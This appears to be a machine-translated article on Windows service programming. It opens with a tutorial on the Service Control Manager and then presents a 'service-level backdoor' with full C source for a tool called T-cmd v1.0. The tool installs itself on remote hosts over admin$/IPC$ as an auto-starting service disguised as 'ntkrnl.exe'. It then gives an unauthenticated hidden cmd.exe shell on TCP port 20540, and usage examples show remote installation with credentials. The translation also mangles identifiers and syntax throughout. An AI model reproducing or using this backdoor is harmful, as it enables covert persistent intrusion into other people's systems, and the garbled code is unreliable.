I. Preamble
Service programs under Windows follow the interface standards of the Service Control Manager (SCM), which run automatically when they log on to the system, and even execute normally without a user logging on to the system, similar to a daemon (daemon) in a UNIX system. Most of them are console programs, but there are also a few GUI programs. The service program involved in this article is limited to the General Service program in WINDOWS2000/XP system, and does not contain windows9x.
Ii. Introduction to Windows Services
The Service Control Manager has a database that is recorded in the registry and contains information about all installed service programs and device driver services. It allows the system administrator to customize security requirements and control access permissions for each service. The Windows service consists of four most: Service Control Manager, service controls program, service programs and service configuration programs ( Service Configuration program).
1. Service Control Manager (SCM)
The Service control Manager was started by the Winlogon process early in the system startup, and the executable file name is "Admin$\system32\services.exe", which is an RPC server in the system, so service configuration and service control programs can manipulate services remotely. It includes information on the following areas:
Installed Services Database: Service Control Manager has a database of installed services in the registry, which is used in service Control Manager and program additions, deletions, and configuration services, where the database location is: hkey_local_machine\system\ CurrentControlSet\Services. It includes many subkeys, and each subkey's name represents a corresponding service. The database includes: type of service (private process, shared process), startup type (autorun, startup by service Control Manager, invalid), error type (ignore, general error, service error, critical error), execute file path, dependency information option, username and password.
Autostart Service: When the system starts, the Service Control Manager starts all the "self-service" and dependent services. Load order for services: Sequential load Group list:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ServiceGroupOrder Specify a list of groups:
Hkey_local_machine\system\currentcontrolset\control\grouporderlist the service programs that each service relies on.
A copy of the LKG (last-know-good) configuration information is maintained after the system is successfully booted:
Hkey_local_machine\system\controlsetxxx\services.
Start a service on demand: Users can use the Service Control Panel program to start a service. Service control programs can also use StartService to start a service. The Service Control Manager does the following: Gets the account information, logs in to the service item, creates the service as a hanging state, assigns a login token to the process, and allows the process to execute.
Service records list: Each service contains the following content in the database: Service name, start type, service status (type, current state, accept control code, exit code, wait for prompt), dependent service list pointer.
Service Control Manager handle: The Service Control Manager supports handle types to access the following objects: Service database installed, service program, Database lock state.
2. Service Control procedure (SCP)
The Service control program can perform the function of opening, controlling and state querying of service programs:
Open service: If the service open type is Service_demand_start, you can use the Service control program to start a service. The current state of service in the initialization phase of the start service is: service_start_pending, and the state after initialization is: service_running.
To send a control request to a running service: The control request can be either system default or user-defined. The standard control code is as follows: Stop service (SERVICE_CONTROL_STOP), suspend service (Service_control_pause), Resume paused service (service_control_continue), Get update information ( Service_control_interrogate).
3. Service procedure
A service program may have execution code for one or more services. We can create a service program that has only one service of type service_win32_own_process. A service program of type service_win32_share_process can contain execution code for more than one service. For more information, see Windows Services and programming later.
4. Service Configuration Program
Programmers and system administrators can use the service configuration program to change the query for information about installed services. Of course, you can also access related resources through registry functions.
Installation, deletion and enumeration of services: we can use related system functions to create, delete services, and query the current status of all services.
Service configuration: The system administrator through the service configuration program to control the service startup type, display name and related descriptive information.
Third, Windows services and programming
Windows services programming includes several aspects, and below we will introduce service programming-related content from the perspective of Service control procedures, service programs, and service configuration programs.
1. Service Control procedure
Before executing the relevant functions of a service control program, we need to obtain a handle to a service object in two ways: a handle to the Service Control Manager database for a specific host by OpenSCManager Use the OpenService or CreateService function to obtain a handle to a service object.
Start service: To start a service, the service control program can be implemented using StartService. If the Service Control Manager database is locked, it needs to wait a certain amount of time and then test the StartService function again. Of course, you can also use the Queryservicelockstatus function to confirm the current state of the database. When the startup completes successfully, the Dwcurrentstate parameter returns the Service_running value.
Service Control Request: Service controller uses the ControlService function to send a control request to a running service program. It sends a specific control command to the control handle function, either the system default or user-defined. And each service will determine the list of control commands it will receive. When you use the QueryServiceStatus function, the control command that the service program will receive is indicated in the returned dwcontrolsaccepted parameter. All services will accept the Service_control_interrogate command.
2. Service procedure
A service program can contain the execution code of a service or multiple services, but they all have a fixed three parts: the service main function, the service ServiceMain function, and the service control handler function.
Service main function: Service programs usually exist as a console, so their entry points are main functions. When the Service Control Manager starts a service program, it waits for the StartServiceCtrlDispatcher function to execute. If the service type is service_win32_own_process, the execution of the StartServiceCtrlDispatcher function is called immediately, and if the service type is service_win32_share_process, It is usually invoked after all the services have been initialized. The parameter of the StartServiceCtrlDispatcher function is a service_table_entry structure that contains the names of all the services in the process and the service entry points.
Service ServiceMain function: function ServiceMain is the entry point of the service. When a service control program requests a new service to start, the Service management manager initiates a service and sends a start request to the control scheduler, which then controls the scheduler to create a new thread to perform the ServiceMain function. ServiceMain must perform the following tasks: Call the RegisterServiceCtrlHandler function to register a Handlerex function to send a control request message to the service, and the return value is the service state handle used to transfer the service state to the Service Control Manager. Call the SetServiceStatus function after initialization to set the service state to service_running. Finally, the task to perform the service.
Service Control handler function: Each service has a handle Handlerex function. It is invoked by the control scheduler when a service process receives a control request from a service control program. Whenever the Handlerex function is invoked, the SetServiceStatus function is called to report its current state to the Service Control Manager. When the user shuts down the system, all control handles invoke the SetServiceStatus function with the Service_accept_shutdow control code to receive the Nservice_control_shutdown control code.
3. Service Configuration Program
The service configuration program can change or query the current configuration information for the service. Before invoking the service configuration function, you must obtain a handle to the service object, which we can, of course, by invoking the Openscmanager,openservice or CreateService function.
Create, Delete Service: The service configuration program uses the CreateService function to install a new service in the database of the Service Control Manager that provides the name of the service and related configuration information and is stored in the database. The service configuration program uses the DeleteService function to remove an already installed service from the database.
Iv. Service-level backdoor technology
After you enter a system, you will often leave behind one or more back doors for your future visits. When the system restarts after uploading a backdoor to a remote system, it always wants the back door to still exist. Then, it should be a good idea to create a service program for the backdoor, which is to take advantage of the mechanism that the service program runs automatically, and it is difficult to end the process of a service program in the WINDOWS2000 task Manager.
Create a backdoor, it will often be in a port to monitor, so that we use the TCP/UDP protocol to establish a connection with the remote host, so we first need to create a backdoor in a listening port, for data transmission stability and security, we can use the TCP protocol.
So how can we simulate a Telnet service-like back door? I think we all know that if there is a CMD on the remote host we can control, that is, we can execute the command in this cmd, then we can implement the control of the remote host, at least can execute a variety of general system commands. Start a cmd program a lot of ways, there are winexec,shellexecute,createprocess, but only use CreateProcess, because WinExec and shellexecute they are too simple. When using CreateProcess, use its redirected standard input/output option to redirect input from the local host into the remote host's cmd process, and redirect the standard output of the remote host CMD process to the local host's standard output. This requires the use of createpipe in the backdoor to create two pipelines to achieve interprocess communication (inter-process COMMUNICATION,IPC). Of course, it is also necessary to transfer the standard input and output of CMD on the remote host to the local host, and we select the Send and RECV functions of the TCP protocol. After the customer has finished accessing, you also call terminateprocess to end the CMD process that was created.
Analysis of key functions
The related program T-cmd v1.0 is a service-level backdoor program, the applicable platform for WINDOWS2000/XP. It automatically creates a service-level backdoor for remote/local hosts, and does not require any additional commands to support local/remote mode. After reboot, the program still runs automatically, listening for Port 20540/tcp.
1. Custom data structure and function
typedef struct
{
HANDLE Hpipe;
Pipelines used to achieve interprocess communication;
SOCKET sclient;
Client sockets when communicating with the client;
}sessiondata,*psessiondata;
REDIRECT cmd standard input/output using the data structure;
typedef struct PROCESSDATA
{
HANDLE hprocess;
The process handle that was obtained when the CMD process was created;
DWORD Dwprocessid;
The process identifier obtained when the CMD process was created;
struct ProcessData *next;
Pointer to the next data structure;
}processdata,*pprocessdata;
The data structure created to close the CMD process when the customer ends the access or deletion of the service;
void WINAPI Cmdstart (DWORD,LPTSTR *);
"ServiceMain" in the Service program: registers the service control handle, creates the service main thread;
void WINAPI Cmdcontrol (DWORD);
"Handlerex" in the Service Program: Handles received control commands, deletes the created CMD process;
DWORD WINAPI Cmdservice (LPVOID);
Service main thread, create service listening port, create redirect cmd standard input/output thread when accepting client connection;
DWORD WINAPI Cmdshell (LPVOID);
Create pipeline and CMD process, and cmd input/output thread;
DWORD WINAPI Readshell (LPVOID);
Redirect the output of CMD, read the information and send to the client;
DWORD WINAPI Writeshell (LPVOID);
REDIRECT cmd input, receive the client's information into the CMD process;
BOOL connectremote (Bool,char *,char *,char *);
If you select remote mode, you must establish a connection with the remote host, note the username and password that provide administrator privileges, and replace with "null" when the password is empty;
void Installcmdservice (char *);
Copy transfer file, open Service Control Manager, create or open service program;
void Removecmdservice (char *);
Delete the file, after stopping the service, uninstall the service program;
2. Service Program related functions
Service_table_entry dispatchtable[] =
{
{"Ntkrnl", Cmdstart},
The name and entry point of the service program;
{NULL, NULL}
The service_table_entry structure must end with "NULL";
};
StartServiceCtrlDispatcher (dispatchtable);
Connect the Service Control Manager and start to control the scheduler thread;
Servicestatushandle=registerservicectrlhandler ("Ntkrnl", Cmdcontrol);
Register the Cmdcontrol function as the "Handlerex" function and initialize it;
Servicestatus.dwcurrentstate = service_running;
SetServiceStatus (Servicestatushandle,&servicestatus);
Set the current state of the service to service_running;
Hthread=createthread (Null,0,cmdservice,null,0,null);
Create service main thread, realize backdoor function;
WaitForSingleObject (Hmutex,infinite);
Wait for mutex, control the synchronous use of global variables;
TerminateProcess (lpprocessdatahead->hprocess,1);
Terminates the created CMD process;
Hsearch=findfirstfile (Lpimagepath,&filedata);
Find out if the file of the service program is already present in the system directory;
GetModuleFileName (Null,lpcurrentpath,max_path);
Obtain the program file name of the current process;
CopyFile (Lpcurrentpath,lpimagepath,false);
Copy the file to the system directory;
Schscmanager=openscmanager (lphostname,null,sc_manager_all_access);
Open the Service Control Manager database;
CreateService (Schscmanager, "NTKRNL", "NTKRNL",
Service_all_access,service_win32_own_process,service_auto_start,
Service_error_ignore,
"Ntkrnl.exe", null,null,null,null,null);
Create service, parameters include name, service type, start type, error type and file path, etc.
Schservice=openservice (Schscmanager, "NTKRNL", Service_start);
If the service is already created, open the service;
StartService (Schservice,0,null);
Start the service process;
ControlService (Schservice,service_control_stop,&removeservicestatus);
Control the service status;
DeleteService (Schservice);
Uninstall the service program;
DeleteFile (lpImagePath);
Delete file;
3. Back door Program related functions
Hmutex=createmutex (Null,false,null);
Create the mutex amount;
Hthread=createthread (Null,0,cmdshell, (LPVOID) &sclient,0,null);
Create a redirected input output thread that handles client access;
CreatePipe (&hreadpipe,&hreadshell,&sapipe,0);
CreatePipe (&hwriteshell,&hwritepipe,&sapipe,0);
Create an input/output pipeline for interprocess communication;
CreateProcess (Lpimagepath,null,null,null,true,0,null,null,&lpstartupinfo,&lpprocessinfo);
Create the CMD process with redirected input and output;
Hthread[1]=createthread (Null,0,readshell, (lpvoid*) &sdread,0,&dwsendthreadid);
Hthread[2]=createthread (Null,0,writeshell, (LPVOID *) &sdwrite,0,&dwreavthreadid);
Create a thread that handles CMD input and output;
Dwresult=waitformultipleobjects (3,hthread,false,infinite);
Wait for the end of the thread or process;
ReleaseMutex (Hmutex);
Release the mutex amount;
Peeknamedpipe (Sdread.hpipe,szbuffer,buffer_size,&dwbufferread,null,null);
Copy data from the pipeline into the buffer, but not out of the pipe;
ReadFile (Sdread.hpipe,szbuffer,buffer_size,&dwbufferread,null);
Copying data from the pipeline into the buffer;
WriteFile (Sdwrite.hpipe,szbuffer2write,dwbuffer2write,&dwbufferwritten,null);
Writes data received from the client to the pipeline;
Dwerrorcode=wnetaddconnection2 (&netresource,lppassword,lpusername,connect_interactive);
Establish a connection with a remote host;
WNetCancelConnection2 (lpipc,connect_update_profile,true);
End connection with remote host;
VI. Appendix
1.SC Introduction
SC is a console program that communicates with the NT Service controller, the service process, and can query and modify the database of installed services.
Syntax: SC <server> [command] [service name] <option1> <option2>, option <server> as "\\ServerName" form.
The main commands include: Query,config,qc,delete,create,getdisplayname,getkeyname,enumdepend and so on.
2.t-cmd v1.0 Source Code
#include <windows.h>
#include <stdio.h>
#define BUFFER_SIZE 1024
typedef struct
{
HANDLE Hpipe;
SOCKET sclient;
}sessiondata,*psessiondata;
typedef struct PROCESSDATA
{
HANDLE hprocess;
DWORD Dwprocessid;
struct ProcessData *next;
}processdata,*pprocessdata;
HANDLE Hmutex;
Pprocessdata Lpprocessdatahead;
Pprocessdata Lpprocessdataend;
Service_status ServiceStatus;
Service_status_handle Servicestatushandle;
void WINAPI Cmdstart (DWORD,LPTSTR *);
void WINAPI Cmdcontrol (DWORD);
DWORD WINAPI Cmdservice (LPVOID);
DWORD WINAPI Cmdshell (LPVOID);
DWORD WINAPI Readshell (LPVOID);
DWORD WINAPI Writeshell (LPVOID);
BOOL connectremote (Bool,char *,char *,char *);
void Installcmdservice (char *);
void Removecmdservice (char *);
void Start (void);
void Usage (void);
int main (int argc,char *argv[])
{
Service_table_entry dispatchtable[] =
{
{"Ntkrnl", Cmdstart},
{NULL, NULL}
};
if (argc==5)
{
if (Connectremote (true,argv[2],argv[3],argv[4]) ==false)
{
return-1;
}
if (!stricmp (argv[1], "-install"))
{
Installcmdservice (argv[2]);
}
else if (!stricmp (argv[1], "-remove"))
{
Removecmdservice (argv[2]);
}
if (Connectremote (false,argv[2],argv[3],argv[4]) ==false)
{
return-1;
}
return 0;
}
else if (argc==2)
{
if (!stricmp (argv[1], "-install"))
{
Installcmdservice (NULL);
}
else if (!stricmp (argv[1], "-remove"))
{
Removecmdservice (NULL);
}
Else
{
Start ();
Usage ();
}
return 0;
}
StartServiceCtrlDispatcher (dispatchtable);
return 0;
}
void WINAPI Cmdstart (DWORD dwargc,lptstr *lpargv)
{
HANDLE Hthread;
Servicestatus.dwservicetype = Service_win32;
Servicestatus.dwcurrentstate = service_start_pending;
servicestatus.dwcontrolsaccepted = Service_accept_stop
| Service_accept_pause_continue;
Servicestatus.dwservicespecificexitcode = 0;
Servicestatus.dwwin32exitcode = 0;
Servicestatus.dwcheckpoint = 0;
Servicestatus.dwwaithint = 0;
Servicestatushandle=registerservicectrlhandler ("Ntkrnl", Cmdcontrol);
if (servicestatushandle==0)
{
OutputDebugString ("RegisterServiceCtrlHandler Error!\n");
return;
}
Servicestatus.dwcurrentstate = service_running;
Servicestatus.dwcheckpoint = 0;
Servicestatus.dwwaithint = 0;
if (SetServiceStatus (servicestatushandle,&servicestatus) ==0)
{
OutputDebugString ("SetServiceStatus in Cmdstart Error!\n");
return;
}
Hthread=createthread (Null,0,cmdservice,null,0,null);
if (hthread==null)
{
OutputDebugString ("CreateThread in Cmdstart Error!\n");
}
return;
}
void WINAPI Cmdcontrol (DWORD dwcode)
{
Switch (Dwcode)
{
Case Service_control_pause:
Servicestatus.dwcurrentstate = service_paused;
Break
Case Service_control_continue:
Servicestatus.dwcurrentstate = service_running;
Break
Case SERVICE_CONTROL_STOP:
WaitForSingleObject (Hmutex,infinite);
while (Lpprocessdatahead!=null)
{
TerminateProcess (lpprocessdatahead->hprocess,1);
if (lpprocessdatahead->next!=null)
{
lpprocessdatahead=lpprocessdatahead->next;
}
Else
{
Lpprocessdatahead=null;
}
}
Servicestatus.dwcurrentstate = service_stopped;
Servicestatus.dwwin32exitcode = 0;
Servicestatus.dwcheckpoint = 0;
Servicestatus.dwwaithint = 0;
if (SetServiceStatus (servicestatushandle,&servicestatus) ==0)
{
OutputDebugString ("SetServiceStatus in Cmdcontrol in Switch Error!\n");
}
ReleaseMutex (Hmutex);
CloseHandle (Hmutex);
return;
Case Service_control_interrogate:
Break
Default
Break
}
if (SetServiceStatus (servicestatushandle,&servicestatus) ==0)
{
OutputDebugString ("SetServiceStatus in Cmdcontrol out Switch Error!\n");
}
return;
}
DWORD WINAPI Cmdservice (LPVOID lpparam)
{
Wsadata WSA;
SOCKET sserver;
SOCKET sclient;
HANDLE Hthread;
struct sockaddr_in sin;
WSAStartup (Makeword (2,2), &WSA);
Sserver = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (Sserver==invalid_socket)
{
OutputDebugString ("Socket Error!\n");
return-1;
}
sin.sin_family = af_inet;
Sin.sin_port = htons (20540);
Sin.sin_addr. S_un. S_ADDR = Inaddr_any;
if (Bind (sserver, (const struct SOCKADDR *) &sin,sizeof (sin)) ==socket_error)
{
OutputDebugString ("Bind Error!\n");
return-1;
}
if (Listen (sserver,5) ==socket_error)
{
OutputDebugString ("Listen Error!\n");
return-1;
}
Hmutex=createmutex (Null,false,null);
if (hmutex==null)
{
OutputDebugString ("Create Mutex Error!\n");
}
Lpprocessdatahead=null;
Lpprocessdataend=null;
while (1)
{
Sclient=accept (Sserver,null,null);
Hthread=createthread (Null,0,cmdshell, (LPVOID) &sclient,0,null);
if (hthread==null)
{
OutputDebugString ("CreateThread of Cmdshell Error!\n");
Break
}
Sleep (1000);
}
WSACleanup ();
return 0;
}
DWORD WINAPI Cmdshell (LPVOID lpparam)
{
Socket sclient=* (socket *) Lpparam;
HANDLE Hwritepipe,hreadpipe,hwriteshell,hreadshell;
HANDLE Hthread[3];
DWORD Dwreavthreadid,dwsendthreadid;
DWORD Dwprocessid;
DWORD dwresult;
Startupinfo Lpstartupinfo;
Sessiondata Sdwrite,sdread;
Process_information Lpprocessinfo;
Security_attributes Sapipe;
Pprocessdata Lpprocessdatalast;
Pprocessdata Lpprocessdatanow;
Char Lpimagepath[max_path];
sapipe.nlength = sizeof (sapipe);
Sapipe.binherithandle = TRUE;
Sapipe.lpsecuritydescriptor = NULL;
if (CreatePipe (&hreadpipe,&hreadshell,&sapipe,0) ==0)
{
OutputDebugString ("CreatePipe for readpipe Error!\n");
return-1;
}
if (CreatePipe (&hwriteshell,&hwritepipe,&sapipe,0) ==0)
{
OutputDebugString ("CreatePipe for Writepipe Error!\n");
return-1;
}
Getstartupinfo (&lpstartupinfo);
LPSTARTUPINFO.CB = sizeof (Lpstartupinfo);
Lpstartupinfo.dwflags = Startf_useshowwindow | Startf_usestdhandles;
Lpstartupinfo.hstdinput = Hwriteshell;
Lpstartupinfo.hstdoutput = Hreadshell;
Lpstartupinfo.hstderror = Hreadshell;
Lpstartupinfo.wshowwindow = Sw_hide;
GetSystemDirectory (Lpimagepath,max_path);
Strcat (lpImagePath, ("\\cmd.exe"));
WaitForSingleObject (Hmutex,infinite);
if (CreateProcess (lpimagepath,null,null,null,true,0,null,null,&lpstartupinfo,&lpprocessinfo) ==0)
{
OutputDebugString ("CreateProcess Error!\n");
return-1;
}
lpprocessdatanow= (pprocessdata) malloc (sizeof (processdata));
lpprocessdatanow->hprocess=lpprocessinfo.hprocess;
lpprocessdatanow->dwprocessid=lpprocessinfo.dwprocessid;
lpprocessdatanow->next=null;
if ((lpprocessdatahead==null) | | (Lpprocessdataend==null))
{
Lpprocessdatahead=lpprocessdatanow;
Lpprocessdataend=lpprocessdatanow;
}
Else
{
lpprocessdataend->next=lpprocessdatanow;
Lpprocessdataend=lpprocessdatanow;
}
hthread[0]=lpprocessinfo.hprocess;
Dwprocessid=lpprocessinfo.dwprocessid;
CloseHandle (Lpprocessinfo.hthread);
ReleaseMutex (Hmutex);
CloseHandle (Hwriteshell);
CloseHandle (Hreadshell);
Sdread.hpipe = Hreadpipe;
Sdread.sclient = sclient;
HTHREAD[1] = CreateThread (Null,0,readshell, (lpvoid*) &sdread,0,&dwsendthreadid);
if (hthread[1]==null)
{
OutputDebugString ("CreateThread of Readshell (Send) Error!\n");
return-1;
}
Sdwrite.hpipe = Hwritepipe;
Sdwrite.sclient = sclient;
HTHREAD[2] = CreateThread (Null,0,writeshell, (LPVOID *) &sdwrite,0,&dwreavthreadid);
if (hthread[2]==null)
{
OutputDebugString ("CreateThread for Writeshell (RECV) Error!\n");
return-1;
}
Dwresult=waitformultipleobjects (3,hthread,false,infinite);
if ((DWRESULT>=WAIT_OBJECT_0) && (dwresult<= (WAIT_OBJECT_0 + 2))
{
DWRESULT-=WAIT_OBJECT_0;
if (dwresult!=0)
{
TerminateProcess (hthread[0],1);
}
CloseHandle (hthread[(dwresult+1)%3]);
CloseHandle (hthread[(dwresult+2)%3]);
}
CloseHandle (Hwritepipe);
CloseHandle (Hreadpipe);
WaitForSingleObject (Hmutex,infinite);
Lpprocessdatalast=null;
Lpprocessdatanow=lpprocessdatahead;
while ((Lpprocessdatanow->next!=null) && (LPPROCESSDATANOW->DWPROCESSID!=DWPROCESSID))
{
Lpprocessdatalast=lpprocessdatanow;
lpprocessdatanow=lpprocessdatanow->next;
}
if (lpprocessdatanow==lpprocessdataend)
{
if (LPPROCESSDATANOW->DWPROCESSID!=DWPROCESSID)
{
OutputDebugString ("No Found the Process Handle!\n");
}
Else
{
if (Lpprocessdatanow==lpprocessdatahead)
{
Lpprocessdatahead=null;
Lpprocessdataend=null;
}
Else
{
Lpprocessdataend=lpprocessdatalast;
}
}
}
Else
{
if (Lpprocessdatanow==lpprocessdatahead)
{
lpprocessdatahead=lpprocessdatanow->next;
}
Else
{
lpprocessdatalast->next=lpprocessdatanow->next;
}
}
ReleaseMutex (Hmutex);
return 0;
}
DWORD WINAPI Readshell (LPVOID lpparam)
{
Sessiondata sdread=* (psessiondata) Lpparam;
DWORD Dwbufferread,dwbuffernow,dwbuffer2send;
Char Szbuffer[buffer_size];
Char szbuffer2send[buffer_size+32];
Char Prevchar;
Char szstartmessage[256]= "\r\n\r\n\t\t---[T-cmd v1.0 beta, by too2y]---\r\n\t\t---[e-mail:too2y@safechina.net]---\ r \n\t\t---[HomePage:www.safechina.net]---\r\n\t\t---[date:02-05-2003]---\r\n\n ";
Char szhelpmessage[256]= "\r\nescape Character is ' CTRL +] ' \r\n\n";
Send (sdread.sclient,szstartmessage,256,0);
Send (sdread.sclient,szhelpmessage,256,0);
while (Peeknamedpipe (Sdread.hpipe,szbuffer,buffer_size,&dwbufferread,null,null))
{
if (dwbufferread>0)
{
ReadFile (Sdread.hpipe,szbuffer,buffer_size,&dwbufferread,null);
}
Else
{
Sleep (10);
Continue
}
For (dwbuffernow=0,dwbuffer2send=0;dwbuffernow<dwbufferread;dwbuffernow++,
dwbuffer2send++)
{
if ((szbuffer[dwbuffernow]== ' \ n ') && (prevchar!= ' \ R '))
{
Szbuffer[dwbuffer2send++]= ' \ r ';
}
Prevchar=szbuffer[dwbuffernow];
Szbuffer2send[dwbuffer2send]=szbuffer[dwbuffernow];
}
if (send (sdread.sclient,szbuffer2send,dwbuffer2send,0) ==socket_error)
{
OutputDebugString ("Send in Readshell Error!\n");
Break
}
Sleep (5);
}
Shutdown (SDREAD.SCLIENT,0X02);
Closesocket (sdread.sclient);
return 0;
}
DWORD WINAPI Writeshell (LPVOID lpparam)
{
Sessiondata sdwrite=* (psessiondata) Lpparam;
DWORD Dwbuffer2write,dwbufferwritten;
Char szbuffer[1];
Char Szbuffer2write[buffer_size];
dwbuffer2write=0;
while (recv (sdwrite.sclient,szbuffer,1,0)!=0)
{
SZBUFFER2WRITE[DWBUFFER2WRITE++]=SZBUFFER[0];
if (strnicmp (Szbuffer2write, "exit\r\n", 6) ==0)
{
Shutdown (SDWRITE.SCLIENT,0X02);
Closesocket (sdwrite.sclient);
return 0;
}
if (szbuffer[0]== ' \ n ')
{
if (WriteFile (sdwrite.hpipe,szbuffer2write,dwbuffer2write,&dwbufferwritten,null) ==0)
{
OutputDebugString ("WriteFile in Writeshell (RECV) Error!\n");
Break
}
dwbuffer2write=0;
}
Sleep (10);
}
Shutdown (SDWRITE.SCLIENT,0X02);
Closesocket (sdwrite.sclient);
return 0;
}
BOOL Connectremote (bool Bconnect,char *lphost,char *lpusername,char *lppassword)
{
Char lpipc[256];
DWORD Dwerrorcode;
Netresource Netresource;
sprintf (LPIPC, "\\\\%s\\ipc$", lphost);
Netresource.lplocalname = NULL;
Netresource.lpremotename = LPIPC;
Netresource.dwtype = Resourcetype_any;
Netresource.lpprovider = NULL;
if (!stricmp (Lppassword, "NULL"))
{
Lppassword=null;
}
if (bconnect)
{
printf ("Now connecting ..."). ");
while (1)
{
Dwerrorcode=wnetaddconnection2 (&netresource,lppassword,lpusername,connect_interactive);
if ((dwerrorcode==error_already_assigned) | | (dwerrorcode==error_device_already_remembered))
{
WNetCancelConnection2 (lpipc,connect_update_profile,true);
}
else if (dwerrorcode==no_error)
{
printf ("Success!\n");
Break
}
Else
{
printf ("Failure!\n");
return FALSE;
}
Sleep (10);
}
}
Else
{
printf ("Now disconnecting ..."). ");
Dwerrorcode=wnetcancelconnection2 (lpipc,connect_update_profile,true);
if (dwerrorcode==no_error)
{
printf ("Success!\n");
}
Else
{
printf ("Failure!\n");
return FALSE;
}
}
return TRUE;
}
void Installcmdservice (char *lphost)
{
Sc_handle Schscmanager;
Sc_handle Schservice;
Char Lpcurrentpath[max_path];
Char Lpimagepath[max_path];
Char *lphostname;
Win32_find_data Filedata;
HANDLE Hsearch;
DWORD Dwerrorcode;
Service_status Installservicestatus;
if (lphost==null)
{
GetSystemDirectory (Lpimagepath,max_path);
strcat (lpImagePath, "\\ntkrnl.exe");
Lphostname=null;
}
Else
{
sprintf (lpImagePath, "\\\\%s\\admin$\\system32\\ntkrnl.exe", lphost);
Lphostname= (char *) malloc (256);
sprintf (Lphostname, "\\\\%s", lphost);
}
printf ("Transmitting File ..."). ");
Hsearch=findfirstfile (Lpimagepath,&filedata);
if (Hsearch==invalid_handle_value)
{
GetModuleFileName (Null,lpcurrentpath,max_path);
if (CopyFile (lpcurrentpath,lpimagepath,false) ==0)
{
Dwerrorcode=getlasterror ();
if (dwerrorcode==5)
{
printf ("Failure ...") Access is Denied!\n ");
}
Else
{
printf ("Failure!\n");
}
return;
}
Else
{
printf ("Success!\n");
}
}
Else
{
printf ("Already Exists!\n");
FindClose (Hsearch);
}
Schscmanager=openscmanager (lphostname,null,sc_manager_all_access);
if (schscmanager==null)
{
printf ("Open Service control Manager Database failure!\n");
return;
}
printf ("Creating Service ....") ");
Schservice=createservice (Schscmanager, "NTKRNL", "NTKRNL", Service_all_access,
Service_win32_own_process, Service_Auto_Start,
Service_error_ignore, "Ntkrnl.exe", null,null,null,null,null);
if (schservice==null)
{
Dwerrorcode=getlasterror ();
if (dwerrorcode!=error_service_exists)
{
printf ("Failure!\n");
Closeservicehandle (Schscmanager);
return;
}
Else
{
printf ("Already Exists!\n");
Schservice=openservice (Schscmanager, "NTKRNL", Service_start);
if (schservice==null)
{
printf ("Opening Service .... Failure!\n ");
Closeservicehandle (Schscmanager);
return;
}
}
}
Else
{
printf ("Success!\n");
}
printf ("Starting Service ....") ");
if (StartService (schservice,0,null) ==0)
{
Dwerrorcode=getlasterror ();
if (dwerrorcode==error_service_already_running)
{
printf ("Already Running!\n");
Closeservicehandle (Schscmanager);
Closeservicehandle (Schservice);
return;
}
}
Else
{
printf ("Pending ...") ");
}
while (QueryServiceStatus (schservice,&installservicestatus)!=0)
{
if (installservicestatus.dwcurrentstate==service_start_pending)
{
Sleep (100);
}
Else
{
Break
}
}
if (installservicestatus.dwcurrentstate!=service_running)
{
printf ("Failure!\n");
}
Else
{
printf ("Success!\n");
}
Closeservicehandle (Schscmanager);
Closeservicehandle (Schservice);
return;
}
void Removecmdservice (char *lphost)
{
Sc_handle Schscmanager;
Sc_handle Schservice;
Char Lpimagepath[max_path];
Char *lphostname;
Win32_find_data Filedata;
Service_status Removeservicestatus;
HANDLE Hsearch;
DWORD Dwerrorcode;
if (lphost==null)
{
GetSystemDirectory (Lpimagepath,max_path);
strcat (lpImagePath, "\\ntkrnl.exe");
Lphostname=null;
}
Else
{
sprintf (lpImagePath, "\\\\%s\\admin$\\system32\\ntkrnl.exe", lphost);
Lphostname= (char *) malloc (MAX_PATH);
sprintf (Lphostname, "\\\\%s", lphost);
}
Schscmanager=openscmanager (lphostname,null,sc_manager_all_access);
if (schscmanager==null)
{
printf ("Opening SCM ...") ");
Dwerrorcode=getlasterror ();
if (dwerrorcode!=5)
{
printf ("Failure!\n");
}
Else
{
printf ("Failuer ...") Access is Denied!\n ");
}
return;
}
Schservice=openservice (Schscmanager, "NTKRNL", service_all_access);
if (schservice==null)
{
printf ("Opening Service ...") ");
Dwerrorcode=getlasterror ();
if (dwerrorcode==1060)
{
printf ("No Exists!\n");
}
Else
{
printf ("Failure!\n");
}
Closeservicehandle (Schscmanager);
}
Else
{
printf ("Stopping Service ....") ");
if (QueryServiceStatus (schservice,&removeservicestatus)!=0)
{
if (removeservicestatus.dwcurrentstate==service_stopped)
{
printf ("Already Stopped!\n");
}
Else
{
printf ("Pending ...") ");
if (ControlService (schservice,service_control_stop,&removeservicestatus)!=0)
{
while (removeservicestatus.dwcurrentstate==service_stop_pending)
{
Sleep (10);
QueryServiceStatus (Schservice,&removeservicestatus);
}
if (removeservicestatus.dwcurrentstate==service_stopped)
{
printf ("Success!\n");
}
Else
{
printf ("Failure!\n");
}
}
Else
{
printf ("Failure!\n");
}
}
}
Else
{
printf ("Query failure!\n");
}
printf ("Removing Service ....") ");
if (DeleteService (schservice) ==0)
{
printf ("Failure!\n");
}
Else
{
printf ("Success!\n");
}
}
Closeservicehandle (Schscmanager);
Closeservicehandle (Schservice);
printf ("Removing File ..... ");
Sleep (1500);
Hsearch=findfirstfile (Lpimagepath,&filedata);
if (Hsearch==invalid_handle_value)
{
printf ("No Exists!\n");
}
Else
{
if (DeleteFile (lpImagePath) ==0)
{
printf ("Failure!\n");
}
Else
{
printf ("Success!\n");
}
FindClose (Hsearch);
}
return;
}
void Start ()
{
printf ("\ n");
printf ("\t\t---[T-cmd v1.0 beta, by too2y]---\ n");
printf ("\t\t---[e-mail:too2y@safechina.net]---\ n");
printf ("\t\t---[HomePage:www.safechina.net]---\ n");
printf ("\t\t---[date:02-05-2003]---\ n \ nthe");
return;
}
void Usage ()
{
printf ("attention:\n");
printf ("is careful with this software, good luck!\n\n");
printf ("Usage show:\n");
printf ("t-cmd-help\n");
printf ("T-cmd-install [remotehost] [account] [password]\n");
printf ("T-cmd-remove [remotehost] [account] [password]\n\n");
printf ("example:\n");
printf ("T-cmd-install (Install in the localhost) \ n");
printf ("T-cmd-remove" (Remove in the localhost) \ n);
printf ("T-cmd-install 192.168.0.1 too2y 123456 (Install in 192.168.0.1) \ n");
printf ("T-cmd-remove 192.168.0.1 too2y 123456 (Remove in 192.168.0.1) \ n");
printf ("T-cmd-install 192.168.0.2 too2y null (null instead of no password) \ n");
return;
}